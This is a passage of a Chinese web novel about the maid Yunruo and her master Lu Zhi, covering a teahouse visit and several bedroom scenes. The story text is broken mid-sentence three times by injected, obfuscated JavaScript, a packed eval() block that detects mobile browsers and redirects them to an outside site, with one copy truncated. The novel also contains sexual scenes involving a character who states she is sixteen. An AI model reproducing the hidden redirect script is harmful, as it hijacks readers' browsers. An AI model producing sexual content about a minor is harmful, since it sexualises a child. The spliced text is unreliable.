庄行俭抬头看日头已经往西偏了,这才反应过来两人竟谈论了如此之久。陆执这孩子聪明,能做他的老师,庄行俭也觉得是自己的荣幸,他从来不需要人操心,给他安排的任务总是能圆满完成,偶尔还会给人点惊喜,实在让人以他为豪。 “虽然离秋闱还有一年多,但你还是不能偷懒,为师期望你能一举夺魁,连中三元,成为我朝最年轻的状元。” “学生会努力的,不会辜负老师的期待。” 陆执承诺得温柔,话语里自信但不张扬,含着一股子坚定的韧劲,让庄行俭觉得他也是冲着这个目标去的。 他满意地点点头:“时候不早了,你一大早就来了,在府上用了膳再回去,你我师徒二人也是好久没见了,我此行去苏州,窥见了许多这些书上不曾记录的东西,正好说与你听听,你听完想想如果你是苏州的父母官,你当如何做。这就是你这个月的特别作业。” “请老师赐教。” 庄行俭把人请到前厅,用完膳,两个人又谈论了大半个时辰,陆执才带着两个人打道回府。 11. 君子台 眼下并不急着回府,车夫只拉着缰绳,以防马儿突然失控。他问陆执:“世子,我们直接回府还是?” 云若想着早上世子说的,若是结束得早就带他们出去玩玩,可她不知道现在这个时候算不算早,她一脸期待地看着陆执,等他发话。 “青云巷,君子台。” 简短的六个字就足够让欢喜,虽然不知道世子口中的君子台是哪里,但是只要不用马上回府,她就很满足了。 车夫得了令,拉转马车行驶的方向,朝青云巷走去。 青云巷与相府和镇国公府都不在一个方向,那里离京城繁荣地带比较远,但是位于那里的君子台是京城最有名的茶楼之一。 茶楼茶楼,首先这君子台的茶是京城出了名的齐全,不管是御前贡品,还是乡野粗茶,只要你想喝,就没有君子台供不起的。当然,仅凭此也不够在这京城长盛。 君子台虽名君子台,但是真正做到了雅俗共赏,无论你是什么身份,只要君子台还有空席,只要不在君子台惹是生非,门口的伙计都绝不拦你,哪怕你是同行对家。 不仅如此,君子台总是能和各种知名店铺联动办活动,有些千金难求的一道菜、一出戏、一支曲,在君子台这里你只需要点上一壶限量的“枕山河”就有机会品鉴。 最后值得一提的是,这君子台的殷掌柜是个外乡来的女子,白手起家,一手创办的。 这殷掌柜是个有血性的姑娘。君子台刚有起色的时候就被眼红的同行嫉妒,她也不畏惧,当即摆出擂台,邀请对君子台不服气的茶楼比拼,看谁有本事留住客人。 见殷掌柜如此刚硬,一些欺软怕硬的人还以为是背后有人撑腰,可稍作打探,才发现殷掌柜不过是独身一人。她只是光脚的不怕穿鞋的,店开不下去,她就难以生计,所以没有后台也敢同一众京城名店对打。 就在众人以为这刚冒头的君子台必然难以与那些在京城根深蒂固的店抗衡,没成想这君子台硬生生靠着殷掌柜源源不断的新点子盘活了。 经过这遭对打,君子台虽然险些腰斩,但它顽强的存活倒是给自己打了一记响亮的宣传,从那以后,君子台就在京城名声大振,占据了一席之地。 虽然君子台的地理位置在京城算不上优势,但胜在占地广,清幽宁静,毗邻京郊最大的一片竹林,在竹林间抚琴品茶,也是别有一番韵味。 只是要从京城里去君子台,只能从这青云巷走,青云巷口狭窄,只允许普通马车单向通行,若是大户人家那些宽敞点的马车,就只能停在巷子外,步行进去了。 不过君子台盘下这一带后,就在这青云巷外种了一排梧桐树,春夏秋冬四时不同,走在这青云巷里也让人颇觉雅兴。 估摸着差不多到了青云巷口,陆执并不打算走进去,他让云若把窗子打开。 云若一推开窗,淡淡的草木清香扑面而来,入眼的是望不到尽头的绿意。 巴掌大小的梧桐叶层层交叠,织出成片的绿荫,夏风吹拂,整个青云巷回荡着沙沙声,几片梧桐叶打着旋儿随风飘动,缓缓落在斑驳的光影里,枝桠晃动,那些光点也跟着变幻。 像梦境一般似真似幻。不然,云若连梦中都不曾见过这番景象。 这下她再也忍不住发出了惊叹。 正醉心于这份前所未有的惬意,一直稳稳前行的马车突然停了下来,车身一阵轻微颠簸。 “怎么回事?” “回世子,不知哪里窜出来了一只野猫挡着路了,小的这就把它赶走。” 原来是猫。又是一阵风吹过,云若刚要把手伸出窗外想感受一下,突然不知从哪里落下来一个青果砸在她脑门上,然后弹落在车厢里。 云若的脑门一下子落下一道浅浅的红印,她向外张望想看看是哪里来的果子,就听见一声清脆响亮的口哨声从高处传来。 “阁下可是要去君子台?正好我今儿个约了那的听雪姑娘,公子何不捎我一程,你我一同前去,到时我让你也见见听雪姑娘的芳容如何?” 云若循声望去,只见那高大的梧桐树之间,一个身窗墨绿色锦袍的男子正坐在枝桠间,半倚着粗壮的树干,手里抛接着圆圆的小东西。 云若定睛一看,就是刚刚砸她的青果! 还没等她跟世子告状,就听见世子语气冷峻,话语间却是熟稔,说出来的话也颇具温度:“你怎么还是这个德性,这么多年交给你的规矩都被你拿去喂狗了吗?” 世子平日里从未如此和谁说过话,云若有些震惊地回头,去看世子的神情,她还以为世子是生气,没想到世子正大马金刀地坐在那里,单手支在膝上撑着下颌,嘴角擒着肆意的笑。 云若还从未见过如此松弛的世子,这人应该是世子认识的人。 “瞧你这话,我这么多年什么时候学过那些无趣的东西了?” 陆执懒得同他争辩这些无趣的话题,敛了笑意,漫不经心道:“不是要搭顺风车?还不快滚进来?” “得令!” 那名男子不恼反笑,仿佛与世子相处之道就是如此,他从树上翻身而下,云若以为他不小心跌落,吓得她的心都提到了嗓子眼,结果下一瞬,车身一沉,男子稳稳落在了云若面前,他躬身走近马车,毫不客气坐在云若对面的位置。 他慵懒地靠着,好似他才是这马车的主人,朝外吩咐道:“左行,走吧。” 说完,视线一转,像是才注意到云若似的:“哟,刚刚我不小心砸到的就是这位小娘子吧,实在对不住,我这手啊这阵子干了太多活儿了,连个果子都抓不稳。对了,忘了介绍,我是你们世子从小玩到大的好兄弟徐舒柏。” 世子的玩伴必然非富即贵,云若一个丫鬟哪能和这些公子哥计较,而且那果子砸的地方早就没什么感觉了,她浅笑问好:“见过徐公子。” 不知徐舒柏瞧见了什么,啧啧两声,意味不明地看向陆执:“稀奇,什么时候身边多了这么个小美娘子。你这几个月不是在养伤吗?手伤了都还闲不住?” 陆执冷哼一声:“你以为谁都和你一样。” “好了好了,我只是引个话头。我真正想问的是这位小美娘呢!” 又被徐舒柏提及,云若有点局促。 “小美娘叫什么名字,多大了?” 陆执一个眼刀扔过去,徐舒柏视若无睹。 “奴婢云若,今年十六。” “家是哪的?伺候你家主子多久了?他对你……” “收起你的流里流气。再多话就滚下去。” 徐舒柏看陆执冷着一张脸,知道这位爷是真怒了,老老实实把自己的嘴封上,心里不平:这么宝贝?问两个问题都不行? 其实徐舒柏是特意在此等候陆执的,只是没想到他车里居然带了个姑娘,他好奇极了,忍不住手欠用来的路上随手摘的青果砸了她。 等看到云若的第一眼,徐舒柏起初那一点点对这女子的好奇直接翻了好几番。最重要的是,这姑娘身上穿的可是他家下人的衣服,徐舒柏忍不住猜测他是带着什么心境把人留在身边的。 见徐舒柏还在打量云若,陆执不动声色地踹了他一下,徐舒柏立刻给了一个“懂了”的眼神,然后若无其事地移开了自己的视线。 这可太有意思了,往后一段时间自己不会闲得发慌了。 还在状况外的云若全然没注意到两人之间的这点交流,她还在想,方才的世子,与旁人口中、与她之前认识的世子有点不一样。 虽不像徐公子这般混不吝,但也带了点痞气,平日里出口成章的世子也会骂人,平日里待人一成不变的温润世子也会喜嗔。 虽然世子不像以前那样完美了,但她觉得世子看上去没有自己想象中的那么遥远了。 此时的世子虽然还是闭目养神,但她觉得他周身都多了一些生气,不似平时那般平静到死板。 当她总结得出这样的世子也很好的时候,马车已经缓缓停下了。 已经到君子台了,几人下了马车,就有侍从上来迎接。徐舒柏早就约好了位置,一进门就跟小二说了名字,小二立马高喝一声“听雪阁一位!” 另一位小厮上前来要为他领路,徐舒柏挥手拒绝,自己领着人去了包厢。 四人刚进厢房,小二就把茶水点心上上来了。 两人相对而坐,徐舒柏为他斟茶。就瞧见他把整盘点心端给身边的人。 “这点心会解了茶味,你拿去吃了吧。” 徐舒柏眼神在两人身上打转,强忍笑意,点头附和他说:“对。” 云若虽然有点茫然,但是有吃的她还是高兴的,端着点心去与左行分享。 徐舒柏投去试探的目光,陆执端起茶假意要泼,徐舒柏忙不迭拱手求饶。 “手完全恢复了?”徐舒柏终于正经了点。 “恢复了。” “还好国公夫人不知道你是因为我受的伤,不然我不得被她扒层皮?” 徐舒柏说着,还夸张地用手拍着胸口。 “不止,恐怕徐伯父也会给你点颜色瞧瞧。” 说到这,徐舒柏就长叹一口气,一脸惆怅:“那是当然,我爹可巴不得你才是他的亲儿子。” 陆执一贯不爱接他的戏,直奔正事:“别贫嘴了,我让你找的书呢?” “我们兄弟那么久没见,你怎么只关心书不关心我?” 陆执面色漠然。 徐舒柏如实交代:“书我还没得到……” “我就知道你小子诓我。”陆执情绪并没有什么波动,像是早就知道了这个结果,“限你三个月让我看到我想要的东西。” 徐舒柏一脸无辜:“要是看不到呢?” “简单,自己把胳膊摔骨折了来见我。” 两人口中的书,可以说是陆执受伤的源头。 几个月前,徐舒柏因为一点琐事和金家的少爷起了冲突,砸了金少爷的场子。 金少爷也不是一个爱抓着人不放的主,他喜欢打马球,技术在一众公子哥里也算佼佼者。 他放言只要是徐舒柏组个队,能赢了他带的队,就既往不咎。 徐舒柏也不管自己马球技术如何,一口答应,转头就过来诓骗陆执,说是金少爷愿意用金大人珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等陆执收起书,徐舒柏已经自己调理好了,才又问他:“今后你真不来弘文馆和我们一起念书了? “托你的福,我现在出门都难,再说,你们现在学的,我早就已经倒背如流,和你们一起,可别耽误了我考学才是。” “好个你,案首就是有底气。” 一边正在吃糕点的云若差点被世子这话噎住,没想到世子还有这么不谦虚的时候。 听见她轻微的闷咳声,陆执替她沏了杯茶。 他一个眼神瞥过来,云若福至心灵般知道这杯茶是沏给自己的,她上前接过,浅尝一口。 她品不出这茶好不好,不过这茶很香,喝进去后味有余甘,还挺好喝的。 左行见状,也立马猛咳起来,捶胸顿足,像是要被噎死了。 陆执又沏了一杯,没好气让他上前来拿。 “左行,你这样像是我平时少你吃喝了。” “没有的事,您的为人,徐公子都知道的。”左行一饮而尽,一脸满足。 徐舒柏被这主仆二人逗笑,这左行真是个活宝,得亏有他,陆执才不至于无趣至极。 陆执并不觉得有什么好笑的,用眼刀扫着两人,云若被徐舒柏感染,心情莫名放松欢愉,在一旁掩嘴偷笑。 突然,敲门声响起,打破了这短暂的欢乐。 就近的云若放下点心去开门,只见一身绯色长裙,戴着异域特色首饰的女子抱着琵琶,半掩姝色。 门外的女子像是没料到开门的会是以为小娘子,也是一愣,她风情的眉眼上下打量着云若,似是明白了什么,只在门口娇声唤着屋里的人:“徐公子怎么要了奴家,还在屋里藏着别的小美人?莫非这就是你说的热闹?” 云若还没弄清情况,正要开口解释她误会了,就见一个高大的身躯站在了她面前。 陆执用身体把两人隔开:“听雪姑娘误会了,这小娘子是我的,徐公子在里头一直念着听雪姑娘,听雪姑娘快进去吧,别让他等急了。” “陆世子也来了,奴家这厢有礼了。” 竹听雪身姿袅娜,声调软糯撩人,美人一个抬眸,云若一个女子都被看得浑身酥软。 “原以为陆世子是个谪仙般的人,没想到还是难抵红尘柔情。” 陆执但笑不语,只说了一句:“先告辞了,你们慢慢玩。” 竹听雪侧身让道,陆执迈步要走,云若和左行连忙跟上。 “听雪姑娘还看呢,魂都要跟着陆世子跑咯。” 听见徐舒柏的打趣,竹听雪回眸,眼神娇媚勾人,她嗔道:“徐公子你坏!明明知道奴家心里只有你。” 徐舒柏连迎上来,搂着人进了屋,把门关上。 “是我的不对,让听雪姑娘久等了。一会儿听雪姑娘怎么罚我都可以。” 不一会儿,听雪阁就传出阵阵琵琶声。 刚出君子台的时候,云若再次被这条梧桐小巷迷得走不动道,她犹豫片刻,斗胆开口:“世子,我们能走回去吗?” 说完她就有点后悔了,陆执睨她一眼,果然说出了那句“不能。” 云若心中可惜,慢悠悠上了马车。一路上都趴在窗沿上,贪恋这短暂的自由。 陆执见她实在不舍,宽慰她:“以后还有机会来的。” “当真?”云若的眸子里闪着亮光。 陆执轻笑:“当真。” 一想到以后还有机会来,云若心情更加松快,眼下就完全没有不舍了,全是对以后的期待。 下次来,会是什么时候呢? 12. 依兰香 落日余晖,街上行人熙熙攘攘,依旧没有减少的迹象。 是了,云若记得京城是有夜集的。每当夜幕降临,京城白日里的有序肃穆褪去,沿街的商铺开始准备点灯揽客。 劳累了一天的人们,茶余饭后若是无事可做,便可出来走上一走,全当消遣,人一多,衬得京城都比白日里更热闹喧嚣。 从青云巷出来后,世子没让她关窗,她就没主动关上,趁此机会看一看京城别处的样子。 远远的,云若就瞧见前面有个铺子,不知道卖的什么东西,店门口都排上了人。 陆执突然叫停马车,吩咐左行去买东西,五芳斋的栗黄酥。 云若的视线跟随左行,见他穿过街道,往她刚刚看见的那个铺子去了。 左行并没有和旁人一样在门口排队等待,他直接踏门而入。 云若抬眼就看到门檐上那块中规中矩的黑赤色的牌匾,上面题下的三个烫金色的字已经有点褪色,看上去这家店怎么也应该是个十年老店了。 不知怎的,云若开始不由自主在脑海里描摹这几个字,嘴里喃喃复念,希望把它们记住。 许是回府路上,她一直安静待着,陆执蓦地有些不习惯了,一路上他的注意力不时就会落在她身上。 只见此时的她趴在窗边看着外面出神,眼里闪烁着她自己都未曾察觉的亮光,让旁人看了都莫名感受到向往的希冀。 顺着她的目光,陆执看到了让她如此模样的东西。 陆执倾身上前,一手搭在窗沿上,全然不知从外面的角度看上去,他这个姿势像是把人圈在怀里似的。 他另一只手从右往左,指着三个字一字一顿又给她念了一遍:“五、芳、斋,记得了吗?不然日后让你买东西,你找不到地方。” 云若肯定地点点头:“嗯,奴婢记得了。” 感受到世子的气息萦绕在她的头顶,云若僵着脖子缓缓转过头。 她瞬间落进世子深邃的眸中,里面是云若只在第一晚见过的无边欲色。 “今夜侍寝,回府收拾好了就过来,记得了吗?” 世子此刻的模样就像她村里那些想勾引汉子的寡妇,若是这幅样子被那汉子的媳妇看到,必然是要扯着嗓子叫“臭不要脸的狐狸精”。 云若觉得世子现在活脱脱就像一只男狐狸精,恐怕自己再多看一眼就会瘫软在这,她别开视线,眼神四处乱晃,不知道该落在哪里。 “记得了吗?” 见她垂眸不语,陆执又问了一遍,这次的声音比上次更加低沉,魅惑。 云若连忙点头,如小鸡啄米般:“记得了。” “世子,我回来了!” 左行推开车门,见世子依旧悠然坐在上方,云若倒是换了边坐,脸上还有未褪去的粉意。 左行全然没察觉两人之间微妙的气息,他只一味不解:再过一会儿天都要黑了,云若怎么还这么热。 手里糕点的热气把他的思绪拉回,他举起手中的油纸,乐道:“掌柜特地给的刚出炉的,世子您快尝尝。” 陆执不咸不淡地“嗯”了声。 云若接过,打开后呈到他面前,陆执拿起一块尝了一口,微微蹙眉,说了一句:“好腻。” 然后推开云若的手,“你们分了吃吧。” 云若心想,这糕点看起来就很好吃,而且刚才看那家店宾客往来,味道必然是不差的,世子居然还不喜欢,看来左行说得没错,世子确实太挑嘴了,那自己那点手艺,世子应该也是看不上的。 云若心里这么嘀咕,嘴上还是不忘规矩:“谢世子。” 她本想把糕点包起来,等回府了再吃,陆执却打断了她的动作:“五芳斋的东西,要趁热吃。” 云若手上一顿,转过身和左行、车夫一人分了几块。 她咬下一口,先是栗子的清甜盈满口鼻,入口细腻,吃到最后还有豌豆淡淡的豆香回荡,一扫栗子的久甜,满口清新。 这么解腻可口的小吃,世子居然还觉得腻,她好像隐隐约约知道世子大概喜欢什么口味了。 “世子,我明白了。” 她突如其来的一句明白了,倒把陆执说得一怔,看她一脸认真,他忍不住笑问:“明白什么了?” “我大概知道世子喜欢什么口味的点心了,我下次会努力学着做出来的。” 陆执轻笑一声,没有说话。 傻气,他喜欢什么口味?她手里拿的那个,就是他最喜欢的点心。 一旁的左行边吃糕点边在心里默默祈求自己的祖宗,保佑他下次还能沾云若的光吃上五芳斋的栗黄酥。 ** 回府之后,世子没让她再在跟前伺候,只留给她一个意味深长的眼神,云若忙不迭地回了自己的屋子。 今日奔波了一天,云若也出了一身汗,她自己烧了水把身上洗得干干净净,然后换上新洗的衣裳,她坐在镜子面前替自己梳妆。 本想打开小抽屉拿里面放着的新发带,却见里面躺着一个手心大小的盒子,外面描着错综复杂的大红的牡丹花,非常显眼。 这还是她第一天来院子,害怕被人发现她身上有这种东西,就把它收了起来。 想着给她这香的赵嬷嬷说,若是自己受不住的时候,可试试这香,保准她身心畅快。 她打开盒子闻了闻,香味虽然浓郁,但抹开后就会幽然飘散,不易察觉。 其实她也不是受不住,只是世子弄得太久了,饶是她从小干农活,身子比一般人家的姑娘有力些,也抵不过世子的体力。 想着今日世子也奔波了一天,肯定比较疲惫,不如就借这香让世子动作快些,这样都好早点歇息。 这么想着,她出门前把香涂在了耳后和手腕上,才将抹开,一股清幽的香味便萦绕身侧,隐隐勾得人心痒痒。 看天色不早了,云若收拾好就去了世子屋里。 这个时辰,世子少见地没有待在书房,他现在正斜靠在矮榻上,手里拿的还是书,但不再是密密麻麻的字,而是一些山水风景图,整个人是难得的慵懒姿态。 屋里屋外的人早就被他遣退,云若进来的时候,连左行都没瞧见。 见她进来,陆执放下手中的书,对她招招手,勾唇一笑:“过来。” 明明世子现在和平常无二,眸子里也不似白日里那般布满欲色,反而宁静得如湖水一般,可云若就是看出了他温柔之下的缠绵,她感觉自己被柔软的水浪推着往他身边去。 “好香啊。”走近了些后,陆执就闻到了她身上若有若无的清香,与她平时的味道不同。 他还什么都没做,眼前的人小脸就已经通红。他搂着她的腰,让她贴着自己坐下。 下颌抵着她的脑袋,发间还是她自己的味道:“这香虽然不错,但我还是喜欢你原来的味道,下次伺候不用抹别的香了。” 怀里的人点了点头,闷闷地应了一声。 细碎的发丝轻抚他的脸,痒痒的。 或许是离上次开荤已经有一段时间了,他食髓知味,如今怀中的香软一呼一吸都隔着单薄的衣裳喷在他胸膛,他一向引以为豪的定力今日很快就溃散了。 床榻就在几步开外,他都觉得走过去浪费时间,就在这矮榻边把人剥开了。 约莫半柱香后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150085|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陆执发觉有点不对劲,体内的燥热升得太快,他几乎快要抑制不住,回想今夜与那晚不同之处,只有那香! 云若正混沌着,世子突然一把抓起她的手腕,低头凑近,灼热的气息喷在手上。 陆执轻轻嗅了嗅,再抬眸时,眼底晦暗不明:“你今日用的什么香?” 世子握着她腕子的手微微收紧,一丝痛觉生起,她看着世子的样子,直觉告诉她,不能骗他,于是她只能如实交代:“是……依兰香。” 见她如此实诚,陆执压低身子,迫她看向自己:“依兰香?你可知它是何物?” 赵嬷嬷说过这香能助兴,让闻者比平时更快达到最高兴致,所以…… 云若眼里早已氤氲热气,看不清世子的面容,她隐去赵嬷嬷,把自己的真实想法一字不落告诉了陆执。 听完她的话,陆执怔了一下,这人真是让人哭笑不得。 陆执好似看见一只懵懂的小羊在老虎跟前展示自己浑身雪白的绒毛,还毫无防备地邀请老虎摸摸它的柔软。 不过他还是抓住了她话语的漏洞:“谁告诉你此香的用途是如此的?” 所幸她敏锐地察觉了陆执话里的警惕,她不能说实话,但她也编不出话来骗世子,支支吾吾半天,答不出来。 陆执不想她就这么糊弄过去,一下一下折腾她。 “谁?” 此时的情意早不似方才那般缠绵,云若怕世子深究,紧张之下,之前学的东西一下子想起来了,于是她主动攀上陆执的肩,轻舐世子的耳廓,娇娇地叫了他一声:“世子爷……” 婉转妩媚,虽然青涩,但是勾得人心痒难耐。 陆执浑身僵了一瞬。不曾想来的不是只羊,是只还未涉世的小狐狸。 罢了,左不过是一个什么都不懂的小丫鬟。 他深吸一口气压制体内的燥热,一只手托住她的脑袋,按进自己的颈间,薄唇贴着她的耳垂,每个字都比平时说话咬得重一些:“不管是谁教你的,你只需记住,本世子不需要用这些东西……” 不过几个来回,云若便没了力气,手耷拉着往下滑,陆执一把抓住她的手勾住自己。 劳作半宿,世子精力不仅没有消减反倒愈发旺盛。 云若终究败下阵来,她艰难开口求饶:“世子……奴婢……好困……” 一句话断断续续,硬生生换了三口气才说完整。 陆执轻咬她颈间细嫩的肉,像是在泄愤:“你自己用的香,自己受不住?” 云若不知道这个香的助兴是这个意思,她直骂自己没脑子,老实同他认错:“奴婢,知错了……” 听着她泫然欲泣的声音,陆执终究还是心软了,他轻吻她的锁骨,柔情似水,半哄着她:“快了,再坚持一会儿,好不好?” 云若觉得她一定是坏掉了,不然怎么从世子的话里听出几分乞求的意味来。世子是她的主子,想要什么都是一句话的事,怎么还需要求她这个下人,这不合规矩…… 云若这么想着,迷迷糊糊回了一句:“好……” 陆执听清她的呢喃,发出轻笑。他把人紧紧拥住,像要把人揉进他的身体里,与他融为一体。 云若一阵短促的喘息后,瘫倒在陆执怀里。 本来以为结束了,她意识逐渐回笼,爬起来正要下床离开这里回自己的屋子,世子却又贴了上来。她的后背瞬间落进他炙热的胸膛。 “世子……”云若一声绵长的呼喊被湮没在世子“再来一次”中。 等陆执真正结束的时候,已经是后半夜了,最后她还是颤着腿回了自己的屋子,一回去就倒床呼呼大睡。 13. 反咬 云若这一夜实在是太累了,她这一觉睡到了日上三竿才醒,一起身,她觉得好像自己的骨头被人拆掉又复原了一般。 她起来的时候房间只有她一个人,但桌上摆着食盒,打开一看,里面的饭菜都还是热乎的。还是云月云燕好,总是会照顾她。 一整夜加一个上午没吃东西,云若早就已经饥肠辘辘,简单洗漱一番后,她打算先填饱肚子再去干活。 她吃完刚把碗筷收好,就见云月云燕都回来了。 两人额上都有汗珠,看上去有些疲累,云若连忙为她们拉开凳子,给她们1倒了杯水。 “实在对不住,我起晚了。今天的活很重吗?要不你们先歇会儿,剩下的都交给我。” 云月一口气喝完,又给自己倒了杯:“没事,今天没什么活,我们这是和左行斗蛐蛐给热的,外头太阳太毒了。” 斗蛐蛐? 看云若茫然,云燕笑着同她解释:“你还不知道吧,世子把我们几个调到前院去干活儿了。 你也知道,前院的活最轻松,世子对我们这下下人管束也不严。 正巧最近院子里那棵树上的蛐蛐叫得烦,世子让我们都抓了,我们几个闲着没事,就偷偷留了几只来玩。” 这么突然? “那后院这些活儿?” 一说起这个,云月还有点生气:“那些活儿本就是那些小厮们该干的,之前他们不过是欺负我们是新来的,世子又没给我们安排,这才把活丢给我们。现在世子发话了,自然是谁的活谁干了。” “原来如此,那还真是要多谢世子还记得我们了。”能少干点活,云若还是高兴的,因此她昨晚对世子的那点哀怨情绪一下子全消散了。 云月云燕是回来用午饭,顺便回来歇个凉,虽然世子平时没什么事,但身边总得有人跟着,于是云若先去跟前伺候着。 经过昨晚短暂的放松,陆执又进入了下一个阶段的学习,所以他又一头扎进了书房里。 云若放缓脚步,静悄悄走到世子身边候命。 不过她刚站定,世子就从书上挪开视线看向她,看她面色红润,关心她:“歇息好了?” 云若点点头。 陆执没说什么,重新低头看书。 一阵短暂的沉默后,陆执突然又说到:“从今天起,你就搬到我寝居的偏房来住。以后你贴身伺候我。” 世子寝居里有一个小偏房,与他安置的里间只有一门之隔,只要世子有需要,她随时可以进入世子的卧室,近身照顾。 云若脑海里一直回荡着“贴身”两个字,这下子她真混成了字面意思和实际意思上的通房丫鬟了。 见她呆在原地半天没反应,他问:“怎么?不愿意?” “当然不是。”她一个丫鬟哪里有不愿意的可能。 “算了。”陆执稍作停顿,她倏地抬起头,还以为他要改主意。 “你也没什么东西要搬的,直接住进去就行。别到时候又搬些什么依兰香过来,我倒是没什么问题,就怕你自己受不住。” 云若的脸唰的一下红了。世子他怎么还提这事! 不服输般,她脑筋一抽,回顶了一句最没有攻击力的话:“奴婢受得住!” 她的这个回答俨然出乎陆执意料,他翻书的一顿,随即露出一个玩味的笑:“哦?受得住?” 云若已经承受不住他打趣的视线,头都快埋到了地里。 陆执发出一声叹息,若有其事地点点头,又呢喃了一句:“受得住。” 一直到晚上,云若都没有再在陆执面前抬起过头来,也不敢吭声,生怕惹起他的注意,然后一抬眼就看到他别有深意的眼神。 今夜陆执依然没有在书房待太晚,他早早回了屋子里,洗漱过后,打算再看会儿轻松解乏的书再歇息。 等陆执觉得乏了,刚合上书站起身,还没发话,那个老实本分了一整天的人就已经把他手里的书拿走放好。 然后埋头过来开始为他宽衣,他还没来得及阻止,人就把他扒得不剩什么了。 “你……” 那丫头的力气不小,他一个没防备,话都说不出口就被人推倒在床。 云若欺身而上,手撑在他的结实的肌肉上,看着他悠然自得的样子,她刚鼓足的劲儿一下子就泄了。 看她突然停住了,陆执单手握着她的腰把她压向自己。 “今天一整个下午不说话,脑子里就净想着这些事了吗?” 闻言,云若瞪圆了眼睛。世子真是泼了好大一盆脏水在她身上。 陆执好像完全没意识到自己的恶劣,他继续道:“昨晚哭成那个样子,身子这么快就好利索了?” 陆执自己上手检查,动作间还没碰到就听她倒吸了口气。 “身子还没好就来勾引我,真是个没分寸的小妖精。” 云若每次要出言反驳,就被他堵得哑口无言,她觉得自己现在背了一口天大的锅,压得她快喘不匀气了。 明明是世子……世子居然还反咬一口。 最可恶的是,世子读过书,她说不过他!她真是有苦说不出! 她心里暗自腹诽世子真坏,她现在还是觉得之前那个温润如玉的世子好。 云若越想越生气,腾地从他身上下来,看着他露在外面的肌肤,心里没志气地担心他受凉,拉过被子搭在陆执身上后,气呼呼回了自己的房间。 陆执侧身撑头看着她的背影,脑海里全是刚才她气鼓鼓又不能发作的样子,忍不住低声笑了出来。 云若关上门,又暗自生了好一会儿气,等情绪调理好了后,这才开始打量起这件小偏房。 不大,一张小床占去了大半,有一套小桌椅,上面摆了一套茶具,贴心地配了一个小梳妆台,床上是新换的被褥,还有几套衣裳,是她一贯爱穿的嫩绿色和青黄色。 虽然地方小东西多,但是布局得紧凑,看上去还是挺舒适的。 云若今天情绪波动不小,此刻安静下来,困意袭来,她仔细注意了外面一阵,世子好像没什么动静了,想世子应该是睡了,她这才躺下。 不知道她是不是认床,还是这床比她以往睡过的要软上许多,她有些睡不着。 闭上眼仔细听,仿佛还能感受到世子平缓的呼吸声。 云若连忙忘掉这个想法,怎么可能,她这里离世子还有一段距离。 就这么这想一点,那想一点,不知不觉她陷入了沉睡。 第二天,云若同往常一样早早起来,陆执也和往常一样,起床练功、用膳请安,然后看书写字。 云若还记得昨晚世子倒打她一耙的事,她还是有点生气,于是她小发雷霆,没伺候世子用午膳,但下午世子叫她第二声的时候,她就已经到跟前了。 陆执看着她小跑过来,面上像只受了委屈的小狗,虽然不开心,但还是要听主人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150086|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 好想摸摸她的头。 “世子需要我做什么?” “会磨墨吗?” 看着世子用笔指着的东西,云若摇头,她之前从来没见过这玩意,哪知道这东西怎么用。 “你想学吗?想学的话我教你。” 在云若心里,读书写字这些是很了不得的事,她每次在旁边看着世子磨完墨后抬笔写字的时候,觉得这时的世子是最好看的。 她虽向往,但从没想过自己能碰这些东西,现在世子说可以教她,此前种种小情绪一下子全没了。 “想学!” 陆执轻笑,他先教她认识这些东西。 “这个是墨锭。” 一根长条的东西。 “这是砚台。” 像一块不规则的石头,外面一圈雕着细竹,中间很平滑。 “每次磨墨前,要先在砚台中间滴几滴水,我平常只用滴三滴即可。” 世子的衣袖有点挡住她了,她立马偏头去看多少水量合适。 “要想磨好墨,快慢轻重皆有讲究,来,你拿着。” 陆执把墨锭递给她,云若伸手接过。 陆执教她如何拿住墨锭,然后握着她的手,把墨锭对上水滴,以一个适宜的速度绕着一个方向打转。 “这个力度和速度比较适合,感受到了吗?” 世子正经的时候还是很正经的,他教得很细致,温热的手掌将她的手掌完全包裹住,握在掌心的那头墨锭因另一头的研磨而轻微振动。 “只要这样,墨锭滑过,砚台显露出来,就差不多了。此所谓墨走留痕。” 陆执松开她的手,问她:“如何?” 磨墨说简单也简单,毕竟就这么几个动作,但要想磨出合适的墨,还是需要精细一点的功夫,他今日先教她方法,等她以后熟练了就好。 “感觉比较简单。” 陆执挑眉,他从一旁又拿出一块砚台来:“自己磨一个试试。” “好。” 云若撸起袖子,申请认真。 她严格按照陆执教的步骤,不急不缓,一步一步走得很踏实,在做到墨走留痕后,她拿起墨锭,欣喜地看向他。 陆执拿起笔在砚台上轻压,滑出一道墨痕,毫不吝啬夸赞她:“不错。” 得了肯定的云若心里高兴得紧。 她看陆执就着自己磨的墨,展开一张宣纸,提笔写下巴掌大小的字 云若好奇:“世子,你今天的字怎么这么大。” “还记得我平常写字的大小?” “嗯,记得。世子平常最多……”云若在想一个合适的东西来描述世子字的大小,看到自己的手,她立马伸出一个指节,“这么大。” 陆执面色一滞,这小丫头怎么什么都不懂,这样容易被人吃得尸骨无存。 陆执用毛笔轻敲她的手,语气严肃:“观察得很仔细,但下次这种手势可别随便对男人做。” 